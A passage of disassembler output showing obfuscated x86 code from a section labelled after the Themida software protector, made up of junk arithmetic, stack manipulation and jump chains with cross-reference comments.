jmp loc_59EEA1
; ---------------------------------------------------------------------------
loc_59EA8E: ; CODE XREF: Themida_:005A077Cj
sub ebx, 82B078BFh
add edi, 40AE4F03h
sub edi, ebx
sub edi, 40AE4F03h
pop ebx
push eax
jmp loc_599DA3
; ---------------------------------------------------------------------------
loc_59EAA9: ; CODE XREF: Themida_:0059420Bj
inc ecx
and ecx, 756A08F2h
add ecx, 32934D7Dh
xor ecx, 1EDC4095h
mov eax, ecx
pop ecx
neg eax
push ebx
mov ebx, 668F679Eh
sub esp, 4
mov [esp], esi
mov esi, 23E349Fh
jmp loc_599BDE
; ---------------------------------------------------------------------------
loc_59EAD7: ; CODE XREF: Themida_:00590503j
mov ebx, 44464099h
not ebx
or ebx, 7A87218Bh
neg ebx
add ebx, 0D7818C57h
xor edx, ebx
jmp loc_59BCD6
; ---------------------------------------------------------------------------
loc_59EAF3: ; CODE XREF: Themida_:0059F7FAj
sub eax, ebp
jmp loc_593388
; ---------------------------------------------------------------------------
loc_59EAFA: ; CODE XREF: Themida_:005A240Ej
xor ebp, esi
pop esi
push ebp
jmp loc_598B92
; ---------------------------------------------------------------------------
loc_59EB03: ; CODE XREF: Themida_:0059539Fj
sub ebx, 64B142DEh
push esi
jmp loc_595C38
; ---------------------------------------------------------------------------
loc_59EB0F: ; CODE XREF: Themida_:0059733Aj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59EB14: ; CODE XREF: Themida_:00596FB8j
sub eax, 64072D1h
mov edi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
or eax, eax
jnz loc_59A982
push ebp
push ebx
push 11DB0071h
jmp loc_599BA6
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59EB47: ; CODE XREF: Themida_:0059E2EBj
mov ecx, 628B1E46h
add ecx, 0F9341CA2h
dec ecx
push eax
mov eax, 71E21B1Bh
push esi
mov esi, 3EA046DAh
inc esi
shl esi, 3
xor esi, 1E2437B8h
xor esi, 8A116D5Fh
add eax, esi
pop esi
push esi
jmp loc_594F25
; ---------------------------------------------------------------------------
loc_59EB78: ; CODE XREF: Themida_:005971B6j
push ebx
jmp loc_5A01F5
; ---------------------------------------------------------------------------
loc_59EB7E: ; CODE XREF: Themida_:005945E3j
push 46BBh
mov [esp], esi
push ebx
mov ebx, 44DB0D64h
shr ebx, 2
shr ebx, 1
add ebx, 91DA1C5h
jmp loc_59397A
; ---------------------------------------------------------------------------
loc_59EB9C: ; CODE XREF: Themida_:00599AD1j
mov [esp], eax
push 1409h
mov [esp], edx
push eax
mov eax, 5635215Bh
mov edx, eax
pop eax
mov eax, 7AF44D5Bh
xor eax, edx
pop edx
push ecx
mov ecx, 6A2D4308h
jmp loc_58FDA8
; ---------------------------------------------------------------------------
loc_59EBC3: ; CODE XREF: Themida_:00597BBEj
push 66F9h
mov [esp], ecx
jmp loc_599DF4
; ---------------------------------------------------------------------------
loc_59EBD0: ; CODE XREF: Themida_:0059277Ej
add [esp+4], esi
jmp loc_5A1AEC
; ---------------------------------------------------------------------------
loc_59EBD9: ; CODE XREF: Themida_:0059DBD3j
sub ebp, 41C04956h
jmp loc_5999EF
; ---------------------------------------------------------------------------
loc_59EBE4: ; CODE XREF: Themida_:00591EB8j
add dh, 1
jmp loc_597722
; ---------------------------------------------------------------------------
loc_59EBEC: ; CODE XREF: Themida_:00591732j
sub eax, 186C33B1h
xor eax, 0AD78C04Bh
push esi
push esp
jmp loc_5A01B5
; ---------------------------------------------------------------------------
loc_59EBFD: ; CODE XREF: Themida_:00597F67j
push 1EC7h
jmp loc_59CE33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_59EC07: ; CODE XREF: sub_59233E+5A0Dj
pop ebx
add ebx, 2E1406B0h
jmp loc_5916C6
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_59EC13: ; CODE XREF: Themida_:00593443j
mov ebx, esp
jmp loc_592AD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59EC1A: ; CODE XREF: sub_591554+3E75j
sub eax, 5E6F09E5h
push edx
mov edx, 69468D5h
add edx, 5B200250h
neg edx
xor edx, 252473E2h
push ebx
mov ebx, 5BB9C0E4h
sub edx, ebx
jmp loc_59D0B4
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_59EC40: ; CODE XREF: Themida_:005A1FB3j
not dword ptr [esp]
pop eax
xor eax, 4AD100E2h
xor edi, eax
pop eax
jmp loc_590D3B
; ---------------------------------------------------------------------------
loc_59EC51: ; CODE XREF: Themida_:0059E18Dj
pop eax
add esp, 4
sub esp, 4
jmp loc_59AF7C
; ---------------------------------------------------------------------------
loc_59EC60: ; CODE XREF: Themida_:005A14F5j
sub esi, 18C10272h
pop ebp
mov edi, esi
pop esi
sub esi, 6EE80297h
add esi, 53C001DDh
add esi, edi
jmp loc_5993C6
; ---------------------------------------------------------------------------
loc_59EC7D: ; CODE XREF: Themida_:0059E54Aj
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5A0C2F
; ---------------------------------------------------------------------------
loc_59EC89: ; CODE XREF: Themida_:00597D3Ej
sub ebx, 1FA3486Bh
add ebx, 13F467C5h
sub esp, 4
mov [esp], edx
mov edx, 0
add edx, ebx
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], ebp
mov ebp, 6427D79h
xor [esp+4], ebp
pop ebp
pop dword ptr [edx]
jmp loc_593263
; ---------------------------------------------------------------------------
loc_59ECBF: ; CODE XREF: Themida_:005A067Ej
pop esp
mov [esp], ebp
push ebx
push esp
pop ebx
jmp loc_58EDCD
; ---------------------------------------------------------------------------
loc_59ECCB: ; CODE XREF: Themida_:005A2859j
push edi
mov edi, 4
jmp loc_59F81F
; ---------------------------------------------------------------------------
loc_59ECD6: ; CODE XREF: Themida_:0059FEBBj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59ECDB: ; CODE XREF: Themida_:005A0835j
push edi
mov edi, 4EC42DF3h
add edi, 375A4483h
xor edi, 3F252E4h
sub edi, 44B212F3h
xor edi, 4F595441h
jmp loc_594DC7
; ---------------------------------------------------------------------------
loc_59ECFE: ; CODE XREF: Themida_:005A01D3j
pop eax
sub edi, ebp
pop ebp
add edi, eax
sub esp, 4
mov [esp], edx
mov edx, 133B6531h
inc edx
sub edx, 534727D2h
shl edx, 1
add edx, 0CD8F9C64h
add edi, edx
pop edx
pop eax
push esi
mov esi, 2
add edi, esi
mov esi, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59ED45: ; CODE XREF: Themida_:00591F1Aj
pop esi
jmp loc_5A1E16
; ---------------------------------------------------------------------------
loc_59ED4B: ; CODE XREF: Themida_:0059841Dj
pop esp
jmp loc_58F6D5
; ---------------------------------------------------------------------------
loc_59ED51: ; CODE XREF: Themida_:005A0F6Cj
pop esp
mov [esp], ebx
push ecx
mov cl, 11h
mov bh, cl
jmp loc_59EA07
; ---------------------------------------------------------------------------
loc_59ED5F: ; CODE XREF: Themida_:00593297j
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59389D
; ---------------------------------------------------------------------------
loc_59ED6B: ; CODE XREF: Themida_:00592DD9j
xor edi, 0C9E9EE3Eh
push edx
mov edx, edi
mov ecx, edx
pop edx
jmp loc_5A02F1
; ---------------------------------------------------------------------------
loc_59ED7C: ; CODE XREF: Themida_:0059647Cj
push bx
jmp loc_59E3FF
; ---------------------------------------------------------------------------
loc_59ED83: ; CODE XREF: Themida_:0059D598j
not ebp
xor [esp], ebp
xor ebp, [esp]
jmp loc_590CE6
; ---------------------------------------------------------------------------
loc_59ED90: ; CODE XREF: Themida_:005A28C9j
sub esi, ebx
add esi, 21DC0868h
jmp loc_59C139
; ---------------------------------------------------------------------------
loc_59ED9D: ; CODE XREF: Themida_:0058ECCEj
sub ebp, 25C8DEDEh
add edi, ebp
push dword ptr [esp]
pop ebp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebp
push esi
mov esi, 6FBF6ACDh
mov ebp, 6FBF6AC9h
jmp loc_5995E2
; =============== S U B R O U T I N E =======================================
sub_59EDCD proc near ; DATA XREF: Themida_:0058E124o
pop dword ptr [edx]
jmp loc_58E353
sub_59EDCD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59EDD4: ; CODE XREF: Themida_:0059A670j
add edi, 2A344C8Fh
add esi, 1D3D3F2Bh
jmp loc_592624
; ---------------------------------------------------------------------------
loc_59EDE5: ; CODE XREF: Themida_:005A1386j
add ecx, 0C356C503h
jmp loc_5A1DAE
; ---------------------------------------------------------------------------
loc_59EDF0: ; DATA XREF: Themida_:0058E0A0o
lodsb
push 60C4h
mov [esp], ebx
mov bh, 7Ch
not bh
and bh, 0EDh
not bh
xor bh, 0E8h
jmp loc_5A159F
; ---------------------------------------------------------------------------
loc_59EE0A: ; CODE XREF: Themida_:00591520j
mov esi, 145C11BAh
jmp loc_59FAF5
; ---------------------------------------------------------------------------
loc_59EE14: ; CODE XREF: Themida_:00595440j
add edi, 7AF5260Ch
sub edi, 0E2969931h
sub ebp, 2FF02DE0h
sub ebp, edi
add ebp, 2FF02DE0h
pop edi
sub esp, 4
mov [esp], ebp
jmp loc_590619
; ---------------------------------------------------------------------------
loc_59EE3D: ; CODE XREF: Themida_:005A100Cj
pop esp
loc_59EE3E: ; CODE XREF: Themida_:00594E08j
push 52B5h
mov [esp], ebx
xor dword ptr [esp], 67E67F04h
jmp loc_58F5C4
; ---------------------------------------------------------------------------
loc_59EE52: ; CODE XREF: Themida_:0059A314j
add ecx, ebx
mov ebx, [esp]
add esp, 4
add edx, ecx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59E05E
; ---------------------------------------------------------------------------
loc_59EE67: ; CODE XREF: Themida_:0058E530j
xchg ecx, [esp]
pop esp
mov [esp], edx
push 2055h
mov [esp], eax
jmp loc_591CD7
; ---------------------------------------------------------------------------
loc_59EE7B: ; CODE XREF: Themida_:00594768j
neg bl
sub bl, 52h
add ch, bl
pop ebx
jmp loc_59B51B
; ---------------------------------------------------------------------------
loc_59EE88: ; CODE XREF: Themida_:00594BA3j
shl esi, 6
jmp loc_59E304
; ---------------------------------------------------------------------------
loc_59EE90: ; CODE XREF: Themida_:00590009j
mov edi, [esp]
add esp, 4
xor edx, [esp]
jmp loc_591EC5
; ---------------------------------------------------------------------------
loc_59EEA1: ; CODE XREF: Themida_:0059EA89j
pop edi
add edx, 40E56F2Dh
add edx, esi
jmp loc_59F170
; ---------------------------------------------------------------------------
loc_59EEAF: ; CODE XREF: Themida_:00597886j
inc edx
jmp loc_59E6D3
; ---------------------------------------------------------------------------
loc_59EEB5: ; CODE XREF: Themida_:005A021Cj
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_5A1EED
; ---------------------------------------------------------------------------
loc_59EEC8: ; CODE XREF: Themida_:0059D2FCj
push 69E9h
mov [esp], edi
jmp loc_5992F6
; ---------------------------------------------------------------------------
loc_59EED5: ; CODE XREF: Themida_:0058F24Cj
sub ebx, 0F845BF89h
add eax, ebx
pop ebx
add eax, 66F67FC2h
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_59BA64
; ---------------------------------------------------------------------------
loc_59EEFA: ; CODE XREF: Themida_:00595BC7j
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, esp
add esi, 4
jmp loc_59BD06
; ---------------------------------------------------------------------------
loc_59EF11: ; CODE XREF: Themida_:005971BDj
not ch
sub ch, 16h
xor al, ch
mov cx, [esp]
add esp, 2
sub bl, al
mov eax, [esp]
add esp, 4
sub bl, al
push eax
jmp loc_5957BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_59EF2F: ; CODE XREF: sub_5A1999-C0D7j
sub edx, esi
jmp loc_5960D9
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59EF36: ; CODE XREF: sub_590877-41Cj
inc edi
not edi
inc edi
xor edi, 960F9A9Ah
add ebx, edi
pop edi
jmp loc_59AB32
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59EF48: ; CODE XREF: Themida_:005A2144j
mov ebx, [esp]
jmp loc_58FD93
; ---------------------------------------------------------------------------
loc_59EF50: ; CODE XREF: Themida_:00598F59j
mov edx, [esp]
jmp loc_592ACC
; ---------------------------------------------------------------------------
loc_59EF58: ; CODE XREF: Themida_:005A2D7Dj
mov esi, 4255597Fh
add ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_59320A
; ---------------------------------------------------------------------------
loc_59EF6D: ; CODE XREF: Themida_:0059421Aj
sub eax, 6E7003EEh
add eax, ebp
jmp loc_59C874
; ---------------------------------------------------------------------------
loc_59EF79: ; CODE XREF: Themida_:00594650j
push esi
push edi
jmp loc_59B2D6
; ---------------------------------------------------------------------------
loc_59EF80: ; CODE XREF: Themida_:005996FDj
dec ecx
jmp loc_598991
; ---------------------------------------------------------------------------
loc_59EF86: ; CODE XREF: Themida_:0059C946j
add esp, 4
jmp loc_5A0F71
; ---------------------------------------------------------------------------
loc_59EF91: ; CODE XREF: Themida_:0059FB10j
mov dl, 9Fh
mov al, dl
pop edx
jmp loc_5911F1
; ---------------------------------------------------------------------------
loc_59EF9B: ; CODE XREF: Themida_:005A2A17j
mov ebx, [esp]
jmp loc_592C10
; ---------------------------------------------------------------------------
loc_59EFA3: ; CODE XREF: Themida_:00595DBCj
add edi, 1FE50A22h
sub edi, edx
sub edi, 1FE50A22h
pop edx
pop edx
push dword ptr [esp]
pop ebx
jmp loc_591CCF
; ---------------------------------------------------------------------------
loc_59EFBC: ; CODE XREF: Themida_:005A1419j
dec ebp
not ebp
sub ebp, 9C1A6EE2h
add edx, 2F181912h
jmp loc_591AC5
; ---------------------------------------------------------------------------
loc_59EFD0: ; CODE XREF: Themida_:005901B0j
add esi, 2E9F7320h
sub esi, edx
sub esi, 2E9F7320h
pop edx
push ecx
jmp loc_5A120E
; ---------------------------------------------------------------------------
loc_59EFE5: ; CODE XREF: Themida_:005A1E92j
mov cl, 0F1h
jmp loc_590BD6
; ---------------------------------------------------------------------------
loc_59EFEC: ; CODE XREF: Themida_:00590B87j
add ebp, ebx
push ecx
mov ecx, 5B5B42EDh
add ebp, ecx
pop ecx
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5933E3
; ---------------------------------------------------------------------------
loc_59F00F: ; CODE XREF: Themida_:00593F35j
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
jmp loc_594429
; ---------------------------------------------------------------------------
loc_59F01F: ; CODE XREF: Themida_:0058FF2Ej
add ebp, edi
pop edi
jmp loc_592C05
; ---------------------------------------------------------------------------
loc_59F027: ; CODE XREF: Themida_:0058FAD2j
mov dh, ah
pop eax
sub al, dh
pop edx
add al, 1Ch
jmp loc_591C77
; ---------------------------------------------------------------------------
loc_59F034: ; CODE XREF: Themida_:005929ECj
push ebx
mov ebx, 737B7597h
add ebx, 0FAB38D93h
mov eax, ebx
pop ebx
sub esi, eax
mov eax, [esp]
add esp, 4
add esi, eax
jmp loc_59890A
; ---------------------------------------------------------------------------
loc_59F055: ; CODE XREF: Themida_:005A170Cj
not dword ptr [esp]
pop edi
push ebx
push edi
mov edi, 6B50012Eh
jmp loc_59D9C4
; ---------------------------------------------------------------------------
loc_59F065: ; CODE XREF: Themida_:0058E4AEj
mov ebx, 1B4FDEh
jmp loc_5982D7
; ---------------------------------------------------------------------------
loc_59F06F: ; CODE XREF: Themida_:0059CE3Dj
sub esi, 2F103CE5h
push dword ptr [esp]
pop ebx
push eax
push esp
pop eax
jmp loc_59F979
; ---------------------------------------------------------------------------
loc_59F081: ; CODE XREF: Themida_:00597FDAj
add esp, 4
jmp loc_593AF4
; ---------------------------------------------------------------------------
loc_59F08C: ; CODE XREF: Themida_:00596595j
shr eax, 3
jmp loc_59609B
; ---------------------------------------------------------------------------
loc_59F094: ; CODE XREF: Themida_:00596825j
push dword ptr [esp]
jmp loc_5A03A0
; ---------------------------------------------------------------------------
loc_59F09C: ; CODE XREF: Themida_:0059E045j
pop ebp
movzx ax, byte ptr [eax]
push eax
mov eax, esp
push ebp
jmp loc_592EF2
; ---------------------------------------------------------------------------
loc_59F0AA: ; CODE XREF: Themida_:005977B0j
pop esp
mov [esp], ebx
push 5AEA629Ah
jmp loc_5965C9
; ---------------------------------------------------------------------------
loc_59F0B8: ; CODE XREF: Themida_:005A2591j
mov [esp], esi
mov esi, 2
sub edi, 79055E78h
jmp loc_59D7BF
; ---------------------------------------------------------------------------
loc_59F0CB: ; CODE XREF: Themida_:005911D3j
pop esp
jmp loc_591018
; ---------------------------------------------------------------------------
loc_59F0D1: ; CODE XREF: Themida_:005A2D34j
xor ebp, esi
pop esi
sub eax, ebp
pop ebp
jmp loc_5A1C90
; ---------------------------------------------------------------------------
loc_59F0DC: ; CODE XREF: Themida_:005919DDj
xor ecx, ebp
jmp loc_5960CA
; ---------------------------------------------------------------------------
loc_59F0E3: ; CODE XREF: Themida_:0058E39Aj
mov [esp], esi
mov esi, 7C634762h
add ebx, esi
pop esi
add ebx, 1E252886h
add ebx, 43A7A5EDh
and eax, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5A1072
; ---------------------------------------------------------------------------
loc_59F113: ; CODE XREF: Themida_:0059A705j
push 4CE6h
jmp loc_599590
; ---------------------------------------------------------------------------
loc_59F11D: ; CODE XREF: Themida_:005941D8j
pop esi
add edx, 2
xchg edx, [esp]
pop esp
btr [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59F133: ; CODE XREF: Themida_:0059408Aj
mov ebp, 4B417746h
add ebp, 0EF28E870h
or eax, ebp
pop ebp
inc eax
jmp loc_59E9F6
; ---------------------------------------------------------------------------
loc_59F147: ; CODE XREF: Themida_:00590360j
push ecx
mov cl, 4Eh
jmp loc_5924C1
; ---------------------------------------------------------------------------
loc_59F14F: ; CODE XREF: Themida_:005944BAj
push 24BDh
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebp
jmp loc_5940B0
; ---------------------------------------------------------------------------
loc_59F165: ; CODE XREF: Themida_:00592786j
push ebx
mov ebx, 37465E74h
jmp loc_59C6CD
; ---------------------------------------------------------------------------
loc_59F170: ; CODE XREF: Themida_:0059EEAAj
push ecx
jmp loc_58E9A7
; ---------------------------------------------------------------------------
loc_59F176: ; CODE XREF: Themida_:0059A135j
mov ah, cl
mov ecx, [esp]
add esp, 4
add ah, 37h
mov bh, ah
jmp loc_59150E
; ---------------------------------------------------------------------------
loc_59F188: ; CODE XREF: Themida_:005A046Bj
sub esp, 4
mov [esp], ebx
jmp loc_58EE94
; ---------------------------------------------------------------------------
loc_59F193: ; CODE XREF: Themida_:005A0588j
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push eax
mov eax, 4A656B72h
push ecx
mov ecx, 47427C14h
sub eax, ecx
jmp loc_59681C
; ---------------------------------------------------------------------------
loc_59F1B7: ; CODE XREF: Themida_:0059CC9Dj
pop ebx
sub esi, 78D14CF4h
add esi, eax
add esi, 78D14CF4h
mov eax, [esp]
add esp, 4
jmp loc_59727B
; ---------------------------------------------------------------------------
loc_59F1D4: ; CODE XREF: Themida_:0059FFF8j
pop ebx
push 3775h
mov [esp], ecx
push ebp
push eax
push esi
jmp loc_58F251
; ---------------------------------------------------------------------------
loc_59F1E5: ; CODE XREF: Themida_:0059052Aj
mov esi, 0C185745h
dec esi
sub esi, 0F5B1989h
sub esi, 0FCBD3DB7h
add ebx, esi
jmp loc_59B0EC
; ---------------------------------------------------------------------------
loc_59F1FE: ; CODE XREF: Themida_:0059A784j
pop esp
add ebp, 64D7A0Fh
jmp loc_5984E9
; ---------------------------------------------------------------------------
loc_59F20A: ; CODE XREF: Themida_:0059370Bj
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
push 7374h
jmp near ptr word_592A96
; ---------------------------------------------------------------------------
loc_59F224: ; CODE XREF: Themida_:005A1358j
mov esi, [esp]
jmp loc_5A10B7
; ---------------------------------------------------------------------------
loc_59F22C: ; CODE XREF: Themida_:0059017Cj
push edi
push esp
pop edi
push ecx
jmp loc_58E6F3
; =============== S U B R O U T I N E =======================================
sub_59F235 proc near ; DATA XREF: Themida_:0058E134o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059007A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005908FE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059399B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00596A05 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597F74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599950 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059BC8B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059CBBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A11D6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A1563 SIZE 0000000D BYTES
mov ax, [esp+0]
push 499Ah
mov [esp+4+var_4], ebp
push esp
pop ebp
jmp loc_59007A
sub_59F235 endp
; ---------------------------------------------------------------------------
loc_59F248: ; CODE XREF: Themida_:00597F3Bj
sub al, ch
pop ecx
jmp loc_59BCF6
; ---------------------------------------------------------------------------
loc_59F250: ; CODE XREF: Themida_:0059C63Ej
mov edi, esi
mov esi, [esp]
add esp, 4
add dword ptr [esp+8], 15C92660h
add [esp+8], edi
sub dword ptr [esp+8], 15C92660h
pop edi
pop edx
jmp loc_59A6FE
; ---------------------------------------------------------------------------
loc_59F276: ; CODE XREF: Themida_:00598EE3j
mov esp, [esp]
or eax, eax
jz loc_5A0E74
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push ebp
jmp loc_598D33
; ---------------------------------------------------------------------------
loc_59F291: ; CODE XREF: Themida_:005981E3j
pop ebp
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59846E
; ---------------------------------------------------------------------------
loc_59F2A0: ; CODE XREF: Themida_:0059A8ECj
sub edx, 0FEA14CBh
pop ebp
xchg edx, [esp]
mov esp, [esp]
or ecx, ecx
jz loc_5956BD
push edi
mov edi, esp
jmp loc_59D6E9
; ---------------------------------------------------------------------------
lodsd
push 501Bh
jmp loc_5908A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E30
loc_59F2C8: ; CODE XREF: sub_592E30+D297j
add esp, 4
jmp loc_596E15
; END OF FUNCTION CHUNK FOR sub_592E30
; ---------------------------------------------------------------------------
loc_59F2D0: ; CODE XREF: Themida_:0058F85Cj
pop ebx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xchg edi, [esp]
mov esp, [esp]
mov [esp], eax
push esp
jmp loc_58F058
; ---------------------------------------------------------------------------
loc_59F2F3: ; CODE XREF: Themida_:005988C1j
mov [esp], edx
mov edx, 24h
jmp loc_5A0BBC
; ---------------------------------------------------------------------------
loc_59F300: ; CODE XREF: Themida_:0058F142j
mov ecx, [esp]
add esp, 4
shl ebx, 5
push eax
mov eax, 250F1F13h
add eax, 49443F1h
add ebx, eax
pop eax
sub edx, ebx
pop ebx
mov eax, [esp]
add esp, 4
push 2C1Dh
mov [esp], edx
pop ecx
push dword ptr [esp]
pop edx
add esp, 4
mov eax, ecx
pop ecx
jmp loc_5A1BCC
; ---------------------------------------------------------------------------
loc_59F33B: ; CODE XREF: Themida_:00597D8Aj
not edi
xor edi, 122A52B8h
shr edi, 2
xor edi, 3D460086h
and edi, 66250DE6h
sub edi, 0FD29A91Ch
xor esi, edi
pop edi
and edx, esi
pop esi
add edx, 1
sub edx, 204B41FBh
add edx, 0C3300DEh
push edx
xor dword ptr [esp], 36AF26F8h
pop edi
jmp loc_59ABDB
; ---------------------------------------------------------------------------
loc_59F37E: ; CODE XREF: Themida_:00596AA6j
shr ebp, 7
xor ebp, 560067EDh
not ebp
xor ebp, 9279CD54h
jmp loc_593CAA
; ---------------------------------------------------------------------------
loc_59F394: ; CODE XREF: Themida_:005952E6j
pop ecx
xchg esi, [esp]
pop esp
xor al, bh
mov bx, [esp]
add esp, 2
jmp loc_59CB6E
; ---------------------------------------------------------------------------
loc_59F3AA: ; CODE XREF: Themida_:0059A53Ej
mov ecx, 0EEC59A2h
jmp loc_5A229B
; ---------------------------------------------------------------------------
loc_59F3B4: ; CODE XREF: Themida_:0058F1F2j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
and ecx, ebp
mov ebp, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_59E710
; ---------------------------------------------------------------------------
loc_59F3D4: ; CODE XREF: Themida_:005A2FD3j
sub ebx, 45334454h
pop ecx
pop esi
push edx
mov edx, 4
add ebx, edx
jmp loc_59D629
; ---------------------------------------------------------------------------
loc_59F3E9: ; CODE XREF: Themida_:0059046Ej
xor edx, 3DF23994h
dec edx
sub edx, 0DE842908h
xor edi, edx
pop edx
pop eax
mov esi, [esp]
add esp, 4
jmp loc_593280
; ---------------------------------------------------------------------------
loc_59F408: ; CODE XREF: Themida_:00592D4Fj
push 1D5631F5h
pop edx
jmp loc_592FFF
; ---------------------------------------------------------------------------
loc_59F413: ; CODE XREF: Themida_:00598F35j
pop edx
shl ah, 4
sub ah, 0FFh
add ah, 1
push edx
mov dh, 0B0h
shl dh, 8
push cx
mov ch, 91h
or dh, ch
pop cx
shl dh, 4
sub dh, 50h
sub dh, 0D7h
jmp loc_58FE45
; ---------------------------------------------------------------------------
loc_59F439: ; CODE XREF: Themida_:0058F8DDj
add edi, 0FD7FEFFCh
jmp loc_590375
; ---------------------------------------------------------------------------
loc_59F444: ; CODE XREF: Themida_:00591305j
pop ecx
inc ecx
push ebx
jmp loc_5974DC
; ---------------------------------------------------------------------------
loc_59F44C: ; CODE XREF: Themida_:00591E79j
xor edi, 595243EDh
mov ebx, edi
mov edi, [esp]
add esp, 4
xor edx, ebx
jmp loc_59735E
; ---------------------------------------------------------------------------
loc_59F464: ; CODE XREF: Themida_:0059ADE0j
pop ebx
jmp loc_5A0E39
; ---------------------------------------------------------------------------
loc_59F46A: ; CODE XREF: Themida_:005990CFj
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
jmp loc_5A14B8
; ---------------------------------------------------------------------------
loc_59F480: ; CODE XREF: Themida_:00595162j
mov edi, esp
jmp loc_59272F
; ---------------------------------------------------------------------------
loc_59F487: ; CODE XREF: Themida_:0059C2CAj
mov esi, 443251A6h
jmp loc_59DA91
; ---------------------------------------------------------------------------
loc_59F491: ; CODE XREF: Themida_:005945B7j
mov cl, 0B0h
jmp loc_59D703
; ---------------------------------------------------------------------------
loc_59F498: ; CODE XREF: Themida_:0059ACA0j
pop ecx
jmp loc_59D73F
; ---------------------------------------------------------------------------
loc_59F49E: ; CODE XREF: Themida_:00597A24j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
sub dword ptr [esp], 202448F2h
jmp loc_59E0C0
; ---------------------------------------------------------------------------
loc_59F4C0: ; CODE XREF: Themida_:0059DB5Dj
push 798Fh
jmp loc_5A2CE7
; ---------------------------------------------------------------------------
loc_59F4CA: ; CODE XREF: Themida_:005A01F0j
xchg eax, ebp
not ebp
xchg eax, ebp
push 771h
mov [esp], esi
mov esi, 351917E2h
add eax, esi
pop esi
push ebx
jmp loc_599E0E
; ---------------------------------------------------------------------------
loc_59F4E4: ; CODE XREF: Themida_:00590F2Cj
add dh, 89h
sub al, 16h
sub al, dh
push ecx
mov cl, 16h
jmp loc_59313A
; ---------------------------------------------------------------------------
loc_59F4F3: ; CODE XREF: Themida_:0059C134j
push 7CC6h
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_59C5F6
; ---------------------------------------------------------------------------
loc_59F504: ; CODE XREF: Themida_:005A13F1j
add edi, 0AD910F9h
add edi, 56AD0BC5h
sub edi, eax
jmp loc_599838
; ---------------------------------------------------------------------------
loc_59F517: ; CODE XREF: Themida_:00596674j
pop esp
push 782Dh
mov [esp], edi
push dword ptr [esp]
jmp loc_59BE7E
; ---------------------------------------------------------------------------
loc_59F528: ; CODE XREF: Themida_:00599D86j
push 27F51312h
jmp loc_5A058D
; ---------------------------------------------------------------------------
loc_59F532: ; CODE XREF: Themida_:0058E728j
movzx eax, al
push dword ptr [edi+eax*4]
push 73h
mov [esp], esi
push eax
jmp loc_59C2C5
; ---------------------------------------------------------------------------
loc_59F546: ; CODE XREF: Themida_:0059D1CEj
pop esp
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_595037
; ---------------------------------------------------------------------------
loc_59F55B: ; CODE XREF: Themida_:005A107Dj
mov ch, 89h
add ch, 9Fh
shr ch, 8
jmp loc_597F35
; ---------------------------------------------------------------------------
loc_59F568: ; CODE XREF: Themida_:0059B021j
add ebx, edx
add ebx, 65274136h
jmp loc_59A0EC
; ---------------------------------------------------------------------------
loc_59F575: ; CODE XREF: Themida_:005969C5j
sub al, 1Dh
jmp loc_590E61
; ---------------------------------------------------------------------------
loc_59F57C: ; CODE XREF: Themida_:00598B45j
